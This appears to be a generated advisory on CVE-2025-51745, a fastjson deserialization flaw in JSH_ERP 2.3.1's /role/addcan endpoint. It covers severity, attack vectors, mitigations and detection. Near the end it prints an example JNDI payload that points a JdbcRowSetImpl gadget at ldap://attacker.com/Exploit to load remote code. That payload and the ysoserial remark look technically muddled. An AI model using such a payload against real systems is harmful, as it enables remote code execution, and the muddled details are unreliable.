CVE-2025-51745

Comprehensive Technical Analysis of CVE-2025-51745

1. Vulnerability Assessment and Severity Evaluation

CVE ID: CVE-2025-51745 CISA Vulnerability Name: CVE-2025-51745 CVSS Score: 9.8

The vulnerability in jishenghua JSH_ERP 2.3.1, specifically in the /role/addcan endpoint, is critical due to its susceptibility to fastjson deserialization attacks. The CVSS score of 9.8 indicates a high severity, reflecting the potential for significant impact if exploited. Deserialization vulnerabilities can lead to remote code execution (RCE), which allows attackers to execute arbitrary code on the affected system.

2. Potential Attack Vectors and Exploitation Methods

Attack Vectors:

• Remote Code Execution (RCE): An attacker can send a specially crafted JSON payload to the /role/addcan endpoint, which, when deserialized, can execute malicious code.
• Denial of Service (DoS): Crafted payloads can cause the application to crash or become unresponsive, leading to service disruption.
• Data Exfiltration: Attackers can exploit the vulnerability to extract sensitive information from the system.

Exploitation Methods:

• Payload Crafting: Attackers can use tools like ysoserial to craft malicious JSON payloads that exploit the fastjson deserialization vulnerability.
• Network Traffic Interception: By intercepting and modifying network traffic, attackers can inject malicious payloads into legitimate requests.

3. Affected Systems and Software Versions

Affected Software:

• jishenghua JSH_ERP 2.3.1

Affected Systems:

• Any system running the vulnerable version of jishenghua JSH_ERP.
• Systems that process JSON data through the /role/addcan endpoint.

4. Recommended Mitigation Strategies

Immediate Actions:

• Patching: Apply the latest security patches provided by the vendor to mitigate the vulnerability.
• Input Validation: Implement strict input validation and sanitization for JSON payloads to prevent malicious data from being processed.
• Disable Unnecessary Features: Disable any unnecessary features or endpoints that are not in use to reduce the attack surface.

Long-Term Strategies:

• Regular Security Audits: Conduct regular security audits and vulnerability assessments to identify and mitigate potential vulnerabilities.
• Update Dependencies: Ensure that all third-party libraries and dependencies are up-to-date and free from known vulnerabilities.
• Network Segmentation: Implement network segmentation to isolate critical systems and limit the spread of potential attacks.

5. Impact on Cybersecurity Landscape

The discovery of CVE-2025-51745 highlights the ongoing risk associated with deserialization vulnerabilities, particularly in enterprise resource planning (ERP) systems. ERP systems are critical for business operations, and any vulnerability in these systems can have severe consequences, including financial loss, data breaches, and operational disruptions. This vulnerability underscores the need for robust security practices and continuous monitoring of enterprise applications.

6. Technical Details for Security Professionals

Vulnerability Details:

• Endpoint: /role/addcan
• Library: fastjson
• Exploitation: The vulnerability is triggered by sending a maliciously crafted JSON payload to the endpoint, which is then deserialized by fastjson.

Detection Methods:

• Intrusion Detection Systems (IDS): Deploy IDS to monitor network traffic for suspicious patterns indicative of deserialization attacks.
• Log Analysis: Regularly analyze application logs for unusual activities or errors related to JSON deserialization.

Mitigation Techniques:

• Whitelisting: Implement whitelisting for allowed classes and objects during deserialization to prevent unauthorized code execution.
• Security Libraries: Use security libraries that provide safe deserialization mechanisms, such as Jackson or Gson, as alternatives to fastjson.

Example Exploit Payload:

{
  "role": {
    "@type": "java.lang.Class",
    "val": "com.sun.rowset.JdbcRowSetImpl",
    "dataSourceName": "ldap://attacker.com/Exploit",
    "autoCommit": true
  }
}

References:

• Hackpax Blog
• GitHub Gist
• Gitee Repository
• JSH_ERP Repository

By addressing this vulnerability promptly and implementing robust security measures, organizations can significantly reduce the risk of exploitation and protect their critical systems from potential attacks.